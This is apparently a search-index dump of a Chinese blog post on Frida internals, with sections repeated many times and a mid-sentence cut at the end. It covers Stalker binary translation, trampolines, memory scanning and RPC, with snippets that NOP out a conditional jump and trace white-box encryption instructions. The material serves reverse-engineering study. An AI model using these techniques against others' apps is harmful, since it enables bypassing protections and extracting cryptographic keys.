+---------------------------+ | BB1 (0x1000): | 翻译 | BB1': | | MOV X0, #1 | ------\u003e | [记录执行到 0x1000] | | CMP X0, #5 | | MOV X0, #1 | | B.EQ 0x1020 | | CMP X0, #5 | +-------------------+ | B.EQ -\u003e BB3'(已翻译) | | BB2 (0x100C): | | B -\u003e BB2'(延迟翻译) | | MOV X2, #0 | +---------------------------+ | B 0x1030 | | BB2': | +-------------------+ | [记录执行到 0x100C] | | BB3 (0x1020): | | MOV X2, #0 ... | | MOV X2, #1 | +---------------------------+ | RET | | BB3': | +-------------------+ | [记录执行到 0x1020] | | MOV X2, #1 ... | +---------------------------+ 性能特征 使用方式 开销倍数 说明 仅 call/ret 事件 2-5x 插桩代码少 所有 exec 事件 10-50x 每条指令前都插入回调 transform + callout 5-20x 取决于 callout 复杂度 transform 仅修改指令 2-8x 无 JS 回调开销 实际应用：代码覆盖率收集 var target = Process.findModuleByName(\"libtarget.so\"); var coverage = new Set(); Stalker.follow(Process.getCurrentThreadId(), { events: { compile: true }, onReceive: function(events) { Stalker.parse(events, {stringify:false, annotate:false}).forEach(function(e) { var addr = e[0]; if (addr \u003e= target.base \u0026\u0026 addr \u003c target.base.add(target.size)) coverage.add(addr.sub(target.base).toInt32()); }); } }); 实际应用：加密算法指令追踪 // 跟踪加密函数内的算术/逻辑指令，用于分析白盒加密算法 var encryptFunc = Module.findExportByName(\"libcrypto.so\", \"encrypt_block\"); Interceptor.attach(encryptFunc, { onEnter: function(args) { Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var insn; while ((insn = iterator.next()) !== null) { iterator.keep(); var m = insn.mnemonic; if ([\"eor\",\"and\",\"orr\",\"lsl\",\"lsr\",\"ror\",\"add\",\"sub\",\"mul\"] .indexOf(m) !== -1) { iterator.putCallout(function(ctx) { console.log(\"PC=\" + ctx.pc + \" X0=\" + ctx.x0 + \" X1=\" + ctx.x1); }); } } } }); }, onLeave: function() { Stalker.unfollow(); Stalker.flush(); } }); 实际应用：动态指令修补 Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var insn; while ((insn = iterator.next()) !== null) { if (insn.address.equals(ptr(\"0x12345678\"))) { iterator.putNop(); // 将条件跳转替换为 NOP } else { iterator.keep(); } } } }); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:6","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#翻译管线"},{"categories":null,"collections":null,"content":"Stalker 深入分析 Stalker 本质上是一个动态二进制翻译器 (DBT)，类似 QEMU 用户态模式或 Intel PIN。 翻译管线 原始基本块 -\u003e [解码] -\u003e [Transform 回调] -\u003e [插桩] -\u003e [写入代码缓存] -\u003e [链接] ARM64Reader 用户可修改 插入跟踪 Slab 分配器 连接后续块 /删除/添加指令 回调代码 代码缓存使用 Slab 分配器：每个 Slab 约 2MB 的连续 RWX 内存，翻译后的基本块紧密排列以提高 CPU 缓存命中率。已翻译的块通过 Block Chaining 直接互相跳转，避免经过 Stalker 调度。 核心思想：永远不执行原始代码，只执行经过插桩的副本。 原始代码 Stalker 代码缓存 +-------------------+ +---------------------------+ | BB1 (0x1000): | 翻译 | BB1': | | MOV X0, #1 | ------\u003e | [记录执行到 0x1000] | | CMP X0, #5 | | MOV X0, #1 | | B.EQ 0x1020 | | CMP X0, #5 | +-------------------+ | B.EQ -\u003e BB3'(已翻译) | | BB2 (0x100C): | | B -\u003e BB2'(延迟翻译) | | MOV X2, #0 | +---------------------------+ | B 0x1030 | | BB2': | +-------------------+ | [记录执行到 0x100C] | | BB3 (0x1020): | | MOV X2, #0 ... | | MOV X2, #1 | +---------------------------+ | RET | | BB3': | +-------------------+ | [记录执行到 0x1020] | | MOV X2, #1 ... | +---------------------------+ 性能特征 使用方式 开销倍数 说明 仅 call/ret 事件 2-5x 插桩代码少 所有 exec 事件 10-50x 每条指令前都插入回调 transform + callout 5-20x 取决于 callout 复杂度 transform 仅修改指令 2-8x 无 JS 回调开销 实际应用：代码覆盖率收集 var target = Process.findModuleByName(\"libtarget.so\"); var coverage = new Set(); Stalker.follow(Process.getCurrentThreadId(), { events: { compile: true }, onReceive: function(events) { Stalker.parse(events, {stringify:false, annotate:false}).forEach(function(e) { var addr = e[0]; if (addr \u003e= target.base \u0026\u0026 addr \u003c target.base.add(target.size)) coverage.add(addr.sub(target.base).toInt32()); }); } }); 实际应用：加密算法指令追踪 // 跟踪加密函数内的算术/逻辑指令，用于分析白盒加密算法 var encryptFunc = Module.findExportByName(\"libcrypto.so\", \"encrypt_block\"); Interceptor.attach(encryptFunc, { onEnter: function(args) { Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var insn; while ((insn = iterator.next()) !== null) { iterator.keep(); var m = insn.mnemonic; if ([\"eor\",\"and\",\"orr\",\"lsl\",\"lsr\",\"ror\",\"add\",\"sub\",\"mul\"] .indexOf(m) !== -1) { iterator.putCallout(function(ctx) { console.log(\"PC=\" + ctx.pc + \" X0=\" + ctx.x0 + \" X1=\" + ctx.x1); }); } } } }); }, onLeave: function() { Stalker.unfollow(); Stalker.flush(); } }); 实际应用：动态指令修补 Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var insn; while ((insn = iterator.next()) !== null) { if (insn.address.equals(ptr(\"0x12345678\"))) { iterator.putNop(); // 将条件跳转替换为 NOP } else { iterator.keep(); } } } }); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:6","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#性能特征"},{"categories":null,"collections":null,"content":"Stalker 深入分析 Stalker 本质上是一个动态二进制翻译器 (DBT)，类似 QEMU 用户态模式或 Intel PIN。 翻译管线 原始基本块 -\u003e [解码] -\u003e [Transform 回调] -\u003e [插桩] -\u003e [写入代码缓存] -\u003e [链接] ARM64Reader 用户可修改 插入跟踪 Slab 分配器 连接后续块 /删除/添加指令 回调代码 代码缓存使用 Slab 分配器：每个 Slab 约 2MB 的连续 RWX 内存，翻译后的基本块紧密排列以提高 CPU 缓存命中率。已翻译的块通过 Block Chaining 直接互相跳转，避免经过 Stalker 调度。 核心思想：永远不执行原始代码，只执行经过插桩的副本。 原始代码 Stalker 代码缓存 +-------------------+ +---------------------------+ | BB1 (0x1000): | 翻译 | BB1': | | MOV X0, #1 | ------\u003e | [记录执行到 0x1000] | | CMP X0, #5 | | MOV X0, #1 | | B.EQ 0x1020 | | CMP X0, #5 | +-------------------+ | B.EQ -\u003e BB3'(已翻译) | | BB2 (0x100C): | | B -\u003e BB2'(延迟翻译) | | MOV X2, #0 | +---------------------------+ | B 0x1030 | | BB2': | +-------------------+ | [记录执行到 0x100C] | | BB3 (0x1020): | | MOV X2, #0 ... | | MOV X2, #1 | +---------------------------+ | RET | | BB3': | +-------------------+ | [记录执行到 0x1020] | | MOV X2, #1 ... | +---------------------------+ 性能特征 使用方式 开销倍数 说明 仅 call/ret 事件 2-5x 插桩代码少 所有 exec 事件 10-50x 每条指令前都插入回调 transform + callout 5-20x 取决于 callout 复杂度 transform 仅修改指令 2-8x 无 JS 回调开销 实际应用：代码覆盖率收集 var target = Process.findModuleByName(\"libtarget.so\"); var coverage = new Set(); Stalker.follow(Process.getCurrentThreadId(), { events: { compile: true }, onReceive: function(events) { Stalker.parse(events, {stringify:false, annotate:false}).forEach(function(e) { var addr = e[0]; if (addr \u003e= target.base \u0026\u0026 addr \u003c target.base.add(target.size)) coverage.add(addr.sub(target.base).toInt32()); }); } }); 实际应用：加密算法指令追踪 // 跟踪加密函数内的算术/逻辑指令，用于分析白盒加密算法 var encryptFunc = Module.findExportByName(\"libcrypto.so\", \"encrypt_block\"); Interceptor.attach(encryptFunc, { onEnter: function(args) { Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var insn; while ((insn = iterator.next()) !== null) { iterator.keep(); var m = insn.mnemonic; if ([\"eor\",\"and\",\"orr\",\"lsl\",\"lsr\",\"ror\",\"add\",\"sub\",\"mul\"] .indexOf(m) !== -1) { iterator.putCallout(function(ctx) { console.log(\"PC=\" + ctx.pc + \" X0=\" + ctx.x0 + \" X1=\" + ctx.x1); }); } } } }); }, onLeave: function() { Stalker.unfollow(); Stalker.flush(); } }); 实际应用：动态指令修补 Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var insn; while ((insn = iterator.next()) !== null) { if (insn.address.equals(ptr(\"0x12345678\"))) { iterator.putNop(); // 将条件跳转替换为 NOP } else { iterator.keep(); } } } }); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:6","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#实际应用代码覆盖率收集"},{"categories":null,"collections":null,"content":"Stalker 深入分析 Stalker 本质上是一个动态二进制翻译器 (DBT)，类似 QEMU 用户态模式或 Intel PIN。 翻译管线 原始基本块 -\u003e [解码] -\u003e [Transform 回调] -\u003e [插桩] -\u003e [写入代码缓存] -\u003e [链接] ARM64Reader 用户可修改 插入跟踪 Slab 分配器 连接后续块 /删除/添加指令 回调代码 代码缓存使用 Slab 分配器：每个 Slab 约 2MB 的连续 RWX 内存，翻译后的基本块紧密排列以提高 CPU 缓存命中率。已翻译的块通过 Block Chaining 直接互相跳转，避免经过 Stalker 调度。 核心思想：永远不执行原始代码，只执行经过插桩的副本。 原始代码 Stalker 代码缓存 +-------------------+ +---------------------------+ | BB1 (0x1000): | 翻译 | BB1': | | MOV X0, #1 | ------\u003e | [记录执行到 0x1000] | | CMP X0, #5 | | MOV X0, #1 | | B.EQ 0x1020 | | CMP X0, #5 | +-------------------+ | B.EQ -\u003e BB3'(已翻译) | | BB2 (0x100C): | | B -\u003e BB2'(延迟翻译) | | MOV X2, #0 | +---------------------------+ | B 0x1030 | | BB2': | +-------------------+ | [记录执行到 0x100C] | | BB3 (0x1020): | | MOV X2, #0 ... | | MOV X2, #1 | +---------------------------+ | RET | | BB3': | +-------------------+ | [记录执行到 0x1020] | | MOV X2, #1 ... | +---------------------------+ 性能特征 使用方式 开销倍数 说明 仅 call/ret 事件 2-5x 插桩代码少 所有 exec 事件 10-50x 每条指令前都插入回调 transform + callout 5-20x 取决于 callout 复杂度 transform 仅修改指令 2-8x 无 JS 回调开销 实际应用：代码覆盖率收集 var target = Process.findModuleByName(\"libtarget.so\"); var coverage = new Set(); Stalker.follow(Process.getCurrentThreadId(), { events: { compile: true }, onReceive: function(events) { Stalker.parse(events, {stringify:false, annotate:false}).forEach(function(e) { var addr = e[0]; if (addr \u003e= target.base \u0026\u0026 addr \u003c target.base.add(target.size)) coverage.add(addr.sub(target.base).toInt32()); }); } }); 实际应用：加密算法指令追踪 // 跟踪加密函数内的算术/逻辑指令，用于分析白盒加密算法 var encryptFunc = Module.findExportByName(\"libcrypto.so\", \"encrypt_block\"); Interceptor.attach(encryptFunc, { onEnter: function(args) { Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var insn; while ((insn = iterator.next()) !== null) { iterator.keep(); var m = insn.mnemonic; if ([\"eor\",\"and\",\"orr\",\"lsl\",\"lsr\",\"ror\",\"add\",\"sub\",\"mul\"] .indexOf(m) !== -1) { iterator.putCallout(function(ctx) { console.log(\"PC=\" + ctx.pc + \" X0=\" + ctx.x0 + \" X1=\" + ctx.x1); }); } } } }); }, onLeave: function() { Stalker.unfollow(); Stalker.flush(); } }); 实际应用：动态指令修补 Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var insn; while ((insn = iterator.next()) !== null) { if (insn.address.equals(ptr(\"0x12345678\"))) { iterator.putNop(); // 将条件跳转替换为 NOP } else { iterator.keep(); } } } }); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:6","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#实际应用加密算法指令追踪"},{"categories":null,"collections":null,"content":"Stalker 深入分析 Stalker 本质上是一个动态二进制翻译器 (DBT)，类似 QEMU 用户态模式或 Intel PIN。 翻译管线 原始基本块 -\u003e [解码] -\u003e [Transform 回调] -\u003e [插桩] -\u003e [写入代码缓存] -\u003e [链接] ARM64Reader 用户可修改 插入跟踪 Slab 分配器 连接后续块 /删除/添加指令 回调代码 代码缓存使用 Slab 分配器：每个 Slab 约 2MB 的连续 RWX 内存，翻译后的基本块紧密排列以提高 CPU 缓存命中率。已翻译的块通过 Block Chaining 直接互相跳转，避免经过 Stalker 调度。 核心思想：永远不执行原始代码，只执行经过插桩的副本。 原始代码 Stalker 代码缓存 +-------------------+ +---------------------------+ | BB1 (0x1000): | 翻译 | BB1': | | MOV X0, #1 | ------\u003e | [记录执行到 0x1000] | | CMP X0, #5 | | MOV X0, #1 | | B.EQ 0x1020 | | CMP X0, #5 | +-------------------+ | B.EQ -\u003e BB3'(已翻译) | | BB2 (0x100C): | | B -\u003e BB2'(延迟翻译) | | MOV X2, #0 | +---------------------------+ | B 0x1030 | | BB2': | +-------------------+ | [记录执行到 0x100C] | | BB3 (0x1020): | | MOV X2, #0 ... | | MOV X2, #1 | +---------------------------+ | RET | | BB3': | +-------------------+ | [记录执行到 0x1020] | | MOV X2, #1 ... | +---------------------------+ 性能特征 使用方式 开销倍数 说明 仅 call/ret 事件 2-5x 插桩代码少 所有 exec 事件 10-50x 每条指令前都插入回调 transform + callout 5-20x 取决于 callout 复杂度 transform 仅修改指令 2-8x 无 JS 回调开销 实际应用：代码覆盖率收集 var target = Process.findModuleByName(\"libtarget.so\"); var coverage = new Set(); Stalker.follow(Process.getCurrentThreadId(), { events: { compile: true }, onReceive: function(events) { Stalker.parse(events, {stringify:false, annotate:false}).forEach(function(e) { var addr = e[0]; if (addr \u003e= target.base \u0026\u0026 addr \u003c target.base.add(target.size)) coverage.add(addr.sub(target.base).toInt32()); }); } }); 实际应用：加密算法指令追踪 // 跟踪加密函数内的算术/逻辑指令，用于分析白盒加密算法 var encryptFunc = Module.findExportByName(\"libcrypto.so\", \"encrypt_block\"); Interceptor.attach(encryptFunc, { onEnter: function(args) { Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var insn; while ((insn = iterator.next()) !== null) { iterator.keep(); var m = insn.mnemonic; if ([\"eor\",\"and\",\"orr\",\"lsl\",\"lsr\",\"ror\",\"add\",\"sub\",\"mul\"] .indexOf(m) !== -1) { iterator.putCallout(function(ctx) { console.log(\"PC=\" + ctx.pc + \" X0=\" + ctx.x0 + \" X1=\" + ctx.x1); }); } } } }); }, onLeave: function() { Stalker.unfollow(); Stalker.flush(); } }); 实际应用：动态指令修补 Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var insn; while ((insn = iterator.next()) !== null) { if (insn.address.equals(ptr(\"0x12345678\"))) { iterator.putNop(); // 将条件跳转替换为 NOP } else { iterator.keep(); } } } }); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:6","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#实际应用动态指令修补"},{"categories":null,"collections":null,"content":"内存管理 Frida 在目标进程中的内存占用 注入后新增内存映射（典型值）： 区域 大小 权限 用途 frida-agent.so 代码段 ~15MB r-x Agent 代码 frida-agent.so 数据段 ~4MB rw- Agent 数据 V8 堆 可变 rw- JS 对象 V8 JIT 输出 可变 rwx 编译后的 JS 代码 Interceptor trampoline 可变 rwx Hook 蹦床代码 Stalker 代码缓存 可变 rwx 翻译后的基本块 总占用：30-80MB（取决于脚本复杂度） 页面权限与缓存刷新 修改代码段需要 mprotect 更改权限，修改后必须刷新 I-Cache（ARM 使用分离的数据/指令缓存）： // 使用 Memory.patchCode 安全修改代码（自动处理权限和缓存刷新） Memory.patchCode(targetAddr, 16, function(code) { var w = new Arm64Writer(code, { pc: targetAddr }); w.putNop(); w.putNop(); w.putNop(); w.putNop(); w.flush(); }); Trampoline 内存分配策略 策略优先级： 1. 近距离分配 (优先) 在目标函数 +/-128MB 范围内寻找可用地址 -\u003e 可使用短跳转，减少覆盖字节数 -\u003e 扫描 /proc/self/maps 寻找空隙 2. mmap 新页面 使用 MAP_FIXED 尝试在目标附近映射 -\u003e 回退到任意地址 + 长跳转 (LDR+BR) 3. 代码洞复用 (高级) 扫描模块中的 padding/NOP 区域 -\u003e 在 \"洞\" 中写入跳转代码 -\u003e 不增加新映射，更隐蔽 进阶 Memory API // 内存搜索 - 在所有可读区域搜索字节模式 var ranges = Process.enumerateRanges('r--'); ranges.forEach(function(range) { Memory.scan(range.base, range.size, \"48 65 6C 6C 6F\", { onMatch: function(addr, size) { console.log(\"Found at: \" + addr); }, onComplete: function() {} }); }); // 近距离内存分配 var nearby = Memory.alloc(Process.pageSize, { near: ptr(\"0x71000000\"), maxDistance: 0x7FFFFFFF }); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:7","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#内存管理"},{"categories":null,"collections":null,"content":"内存管理 Frida 在目标进程中的内存占用 注入后新增内存映射（典型值）： 区域 大小 权限 用途 frida-agent.so 代码段 ~15MB r-x Agent 代码 frida-agent.so 数据段 ~4MB rw- Agent 数据 V8 堆 可变 rw- JS 对象 V8 JIT 输出 可变 rwx 编译后的 JS 代码 Interceptor trampoline 可变 rwx Hook 蹦床代码 Stalker 代码缓存 可变 rwx 翻译后的基本块 总占用：30-80MB（取决于脚本复杂度） 页面权限与缓存刷新 修改代码段需要 mprotect 更改权限，修改后必须刷新 I-Cache（ARM 使用分离的数据/指令缓存）： // 使用 Memory.patchCode 安全修改代码（自动处理权限和缓存刷新） Memory.patchCode(targetAddr, 16, function(code) { var w = new Arm64Writer(code, { pc: targetAddr }); w.putNop(); w.putNop(); w.putNop(); w.putNop(); w.flush(); }); Trampoline 内存分配策略 策略优先级： 1. 近距离分配 (优先) 在目标函数 +/-128MB 范围内寻找可用地址 -\u003e 可使用短跳转，减少覆盖字节数 -\u003e 扫描 /proc/self/maps 寻找空隙 2. mmap 新页面 使用 MAP_FIXED 尝试在目标附近映射 -\u003e 回退到任意地址 + 长跳转 (LDR+BR) 3. 代码洞复用 (高级) 扫描模块中的 padding/NOP 区域 -\u003e 在 \"洞\" 中写入跳转代码 -\u003e 不增加新映射，更隐蔽 进阶 Memory API // 内存搜索 - 在所有可读区域搜索字节模式 var ranges = Process.enumerateRanges('r--'); ranges.forEach(function(range) { Memory.scan(range.base, range.size, \"48 65 6C 6C 6F\", { onMatch: function(addr, size) { console.log(\"Found at: \" + addr); }, onComplete: function() {} }); }); // 近距离内存分配 var nearby = Memory.alloc(Process.pageSize, { near: ptr(\"0x71000000\"), maxDistance: 0x7FFFFFFF }); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:7","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#frida-在目标进程中的内存占用"},{"categories":null,"collections":null,"content":"内存管理 Frida 在目标进程中的内存占用 注入后新增内存映射（典型值）： 区域 大小 权限 用途 frida-agent.so 代码段 ~15MB r-x Agent 代码 frida-agent.so 数据段 ~4MB rw- Agent 数据 V8 堆 可变 rw- JS 对象 V8 JIT 输出 可变 rwx 编译后的 JS 代码 Interceptor trampoline 可变 rwx Hook 蹦床代码 Stalker 代码缓存 可变 rwx 翻译后的基本块 总占用：30-80MB（取决于脚本复杂度） 页面权限与缓存刷新 修改代码段需要 mprotect 更改权限，修改后必须刷新 I-Cache（ARM 使用分离的数据/指令缓存）： // 使用 Memory.patchCode 安全修改代码（自动处理权限和缓存刷新） Memory.patchCode(targetAddr, 16, function(code) { var w = new Arm64Writer(code, { pc: targetAddr }); w.putNop(); w.putNop(); w.putNop(); w.putNop(); w.flush(); }); Trampoline 内存分配策略 策略优先级： 1. 近距离分配 (优先) 在目标函数 +/-128MB 范围内寻找可用地址 -\u003e 可使用短跳转，减少覆盖字节数 -\u003e 扫描 /proc/self/maps 寻找空隙 2. mmap 新页面 使用 MAP_FIXED 尝试在目标附近映射 -\u003e 回退到任意地址 + 长跳转 (LDR+BR) 3. 代码洞复用 (高级) 扫描模块中的 padding/NOP 区域 -\u003e 在 \"洞\" 中写入跳转代码 -\u003e 不增加新映射，更隐蔽 进阶 Memory API // 内存搜索 - 在所有可读区域搜索字节模式 var ranges = Process.enumerateRanges('r--'); ranges.forEach(function(range) { Memory.scan(range.base, range.size, \"48 65 6C 6C 6F\", { onMatch: function(addr, size) { console.log(\"Found at: \" + addr); }, onComplete: function() {} }); }); // 近距离内存分配 var nearby = Memory.alloc(Process.pageSize, { near: ptr(\"0x71000000\"), maxDistance: 0x7FFFFFFF }); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:7","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#页面权限与缓存刷新"},{"categories":null,"collections":null,"content":"内存管理 Frida 在目标进程中的内存占用 注入后新增内存映射（典型值）： 区域 大小 权限 用途 frida-agent.so 代码段 ~15MB r-x Agent 代码 frida-agent.so 数据段 ~4MB rw- Agent 数据 V8 堆 可变 rw- JS 对象 V8 JIT 输出 可变 rwx 编译后的 JS 代码 Interceptor trampoline 可变 rwx Hook 蹦床代码 Stalker 代码缓存 可变 rwx 翻译后的基本块 总占用：30-80MB（取决于脚本复杂度） 页面权限与缓存刷新 修改代码段需要 mprotect 更改权限，修改后必须刷新 I-Cache（ARM 使用分离的数据/指令缓存）： // 使用 Memory.patchCode 安全修改代码（自动处理权限和缓存刷新） Memory.patchCode(targetAddr, 16, function(code) { var w = new Arm64Writer(code, { pc: targetAddr }); w.putNop(); w.putNop(); w.putNop(); w.putNop(); w.flush(); }); Trampoline 内存分配策略 策略优先级： 1. 近距离分配 (优先) 在目标函数 +/-128MB 范围内寻找可用地址 -\u003e 可使用短跳转，减少覆盖字节数 -\u003e 扫描 /proc/self/maps 寻找空隙 2. mmap 新页面 使用 MAP_FIXED 尝试在目标附近映射 -\u003e 回退到任意地址 + 长跳转 (LDR+BR) 3. 代码洞复用 (高级) 扫描模块中的 padding/NOP 区域 -\u003e 在 \"洞\" 中写入跳转代码 -\u003e 不增加新映射，更隐蔽 进阶 Memory API // 内存搜索 - 在所有可读区域搜索字节模式 var ranges = Process.enumerateRanges('r--'); ranges.forEach(function(range) { Memory.scan(range.base, range.size, \"48 65 6C 6C 6F\", { onMatch: function(addr, size) { console.log(\"Found at: \" + addr); }, onComplete: function() {} }); }); // 近距离内存分配 var nearby = Memory.alloc(Process.pageSize, { near: ptr(\"0x71000000\"), maxDistance: 0x7FFFFFFF }); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:7","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#trampoline-内存分配策略"},{"categories":null,"collections":null,"content":"内存管理 Frida 在目标进程中的内存占用 注入后新增内存映射（典型值）： 区域 大小 权限 用途 frida-agent.so 代码段 ~15MB r-x Agent 代码 frida-agent.so 数据段 ~4MB rw- Agent 数据 V8 堆 可变 rw- JS 对象 V8 JIT 输出 可变 rwx 编译后的 JS 代码 Interceptor trampoline 可变 rwx Hook 蹦床代码 Stalker 代码缓存 可变 rwx 翻译后的基本块 总占用：30-80MB（取决于脚本复杂度） 页面权限与缓存刷新 修改代码段需要 mprotect 更改权限，修改后必须刷新 I-Cache（ARM 使用分离的数据/指令缓存）： // 使用 Memory.patchCode 安全修改代码（自动处理权限和缓存刷新） Memory.patchCode(targetAddr, 16, function(code) { var w = new Arm64Writer(code, { pc: targetAddr }); w.putNop(); w.putNop(); w.putNop(); w.putNop(); w.flush(); }); Trampoline 内存分配策略 策略优先级： 1. 近距离分配 (优先) 在目标函数 +/-128MB 范围内寻找可用地址 -\u003e 可使用短跳转，减少覆盖字节数 -\u003e 扫描 /proc/self/maps 寻找空隙 2. mmap 新页面 使用 MAP_FIXED 尝试在目标附近映射 -\u003e 回退到任意地址 + 长跳转 (LDR+BR) 3. 代码洞复用 (高级) 扫描模块中的 padding/NOP 区域 -\u003e 在 \"洞\" 中写入跳转代码 -\u003e 不增加新映射，更隐蔽 进阶 Memory API // 内存搜索 - 在所有可读区域搜索字节模式 var ranges = Process.enumerateRanges('r--'); ranges.forEach(function(range) { Memory.scan(range.base, range.size, \"48 65 6C 6C 6F\", { onMatch: function(addr, size) { console.log(\"Found at: \" + addr); }, onComplete: function() {} }); }); // 近距离内存分配 var nearby = Memory.alloc(Process.pageSize, { near: ptr(\"0x71000000\"), maxDistance: 0x7FFFFFFF }); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:7","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#进阶-memory-api"},{"categories":null,"collections":null,"content":"通信机制 消息路径 send(msg, data) -\u003e V8 序列化 -\u003e GumMessage -\u003e DBus 编码 [JS] [Agent] [frida-core] [IPC] | Unix/TCP Socket | frida-server -\u003e TCP/USB -\u003e Client on_message(msg, data) RPC 调用流程 // Agent 端 rpc.exports = { add: function(a, b) { return a + b; } }; # Client 端 result = script.exports_sync.add(1, 2) # =\u003e 3 内部实现：Client 发送 [\"frida:rpc\", id, \"call\", \"add\", [1, 2]]，Agent 执行后返回 [\"frida:rpc\", id, \"ok\", 3]，通过 request_id 匹配。 性能参考数据 操作 典型延迟 吞吐量 send() 小消息 (\u003c 1KB) ~0.1ms ~10000 msg/s send() 大消息 (1MB) ~5ms ~200 MB/s RPC 调用 (简单返回) ~1ms ~1000 call/s RPC + 二进制数据 (1MB) ~10ms ~100 MB/s 瓶颈主要来自：JSON 序列化（CPU 密集）、USB 传输（USB 2.0 限制 ~480Mbps）、V8 GC 暂停。 性能优化建议 // 避免: 每次调用都 send Interceptor.attach(target, { onEnter: function(args) { send({a: args[0].toInt32()}); } }); // 推荐: 批量发送 var buf = []; Interceptor.attach(target, { onEnter: function(args) { buf.push(args[0].toInt32()); if (buf.length \u003e= 100) { send({batch: buf}); buf = []; } } }); // 大数据用二进制格式 (第二参数) send({type: \"dump\"}, Memory.readByteArray(addr, 1024)); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:8","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#通信机制"},{"categories":null,"collections":null,"content":"通信机制 消息路径 send(msg, data) -\u003e V8 序列化 -\u003e GumMessage -\u003e DBus 编码 [JS] [Agent] [frida-core] [IPC] | Unix/TCP Socket | frida-server -\u003e TCP/USB -\u003e Client on_message(msg, data) RPC 调用流程 // Agent 端 rpc.exports = { add: function(a, b) { return a + b; } }; # Client 端 result = script.exports_sync.add(1, 2) # =\u003e 3 内部实现：Client 发送 [\"frida:rpc\", id, \"call\", \"add\", [1, 2]]，Agent 执行后返回 [\"frida:rpc\", id, \"ok\", 3]，通过 request_id 匹配。 性能参考数据 操作 典型延迟 吞吐量 send() 小消息 (\u003c 1KB) ~0.1ms ~10000 msg/s send() 大消息 (1MB) ~5ms ~200 MB/s RPC 调用 (简单返回) ~1ms ~1000 call/s RPC + 二进制数据 (1MB) ~10ms ~100 MB/s 瓶颈主要来自：JSON 序列化（CPU 密集）、USB 传输（USB 2.0 限制 ~480Mbps）、V8 GC 暂停。 性能优化建议 // 避免: 每次调用都 send Interceptor.attach(target, { onEnter: function(args) { send({a: args[0].toInt32()}); } }); // 推荐: 批量发送 var buf = []; Interceptor.attach(target, { onEnter: function(args) { buf.push(args[0].toInt32()); if (buf.length \u003e= 100) { send({batch: buf}); buf = []; } } }); // 大数据用二进制格式 (第二参数) send({type: \"dump\"}, Memory.readByteArray(addr, 1024)); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:8","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#消息路径"},{"categories":null,"collections":null,"content":"通信机制 消息路径 send(msg, data) -\u003e V8 序列化 -\u003e GumMessage -\u003e DBus 编码 [JS] [Agent] [frida-core] [IPC] | Unix/TCP Socket | frida-server -\u003e TCP/USB -\u003e Client on_message(msg, data) RPC 调用流程 // Agent 端 rpc.exports = { add: function(a, b) { return a + b; } }; # Client 端 result = script.exports_sync.add(1, 2) # =\u003e 3 内部实现：Client 发送 [\"frida:rpc\", id, \"call\", \"add\", [1, 2]]，Agent 执行后返回 [\"frida:rpc\", id, \"ok\", 3]，通过 request_id 匹配。 性能参考数据 操作 典型延迟 吞吐量 send() 小消息 (\u003c 1KB) ~0.1ms ~10000 msg/s send() 大消息 (1MB) ~5ms ~200 MB/s RPC 调用 (简单返回) ~1ms ~1000 call/s RPC + 二进制数据 (1MB) ~10ms ~100 MB/s 瓶颈主要来自：JSON 序列化（CPU 密集）、USB 传输（USB 